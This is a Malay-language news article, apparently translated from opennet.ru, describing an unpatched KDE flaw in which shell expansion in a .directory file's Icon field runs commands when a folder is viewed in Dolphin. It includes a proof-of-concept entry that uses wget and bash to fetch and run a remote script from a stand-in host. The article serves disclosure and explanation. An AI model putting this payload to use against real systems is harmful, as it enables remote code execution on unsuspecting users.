Kerentanan pelaksanaan kod KDE apabila melihat senarai fail

Dalam KDE dikenalpasti kelemahan, yang membenarkan penyerang untuk melaksanakan arahan sewenang-wenangnya apabila pengguna melihat direktori atau arkib yang mengandungi fail ".desktop" dan ".directory" yang direka khas. Serangan memerlukan pengguna hanya melihat senarai fail dalam pengurus fail Dolphin, memuat turun fail desktop berniat jahat atau menyeret pintasan ke desktop atau ke dalam dokumen. Masalahnya nyata dalam keluaran semasa perpustakaan Rangka Kerja KDE 5.60.0 dan versi yang lebih lama, sehingga KDE 4. Kerentanan masih lagi tinggal tidak diperbetulkan (CVE tidak diberikan).

Masalahnya disebabkan oleh pelaksanaan kelas KDesktopFile yang tidak betul, yang, apabila memproses pembolehubah "Ikon", tanpa melarikan diri dengan betul, menghantar nilai kepada fungsi KConfigPrivate::expandString(), yang melakukan pengembangan aksara khas shell, termasuk pemprosesan rentetan β€œ$(..)” sebagai arahan untuk dilaksanakan . Bertentangan dengan keperluan spesifikasi XDG, pelaksanaan pendedahan binaan shell dihasilkan tanpa memisahkan jenis tetapan, i.e. bukan sahaja apabila menentukan baris arahan aplikasi yang akan dilancarkan, tetapi juga apabila menentukan ikon yang dipaparkan secara lalai.

Sebagai contoh, untuk menyerang cukup hantarkan arkib zip kepada pengguna dengan direktori yang mengandungi fail ".directory" seperti:

[Entri Desktop] Jenis=Direktori
Ikon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Apabila anda cuba melihat kandungan arkib dalam pengurus fail Dolphin, skrip https://example.com/FILENAME.sh akan dimuat turun dan dilaksanakan.


Sumber: opennet.ru

Tambah komen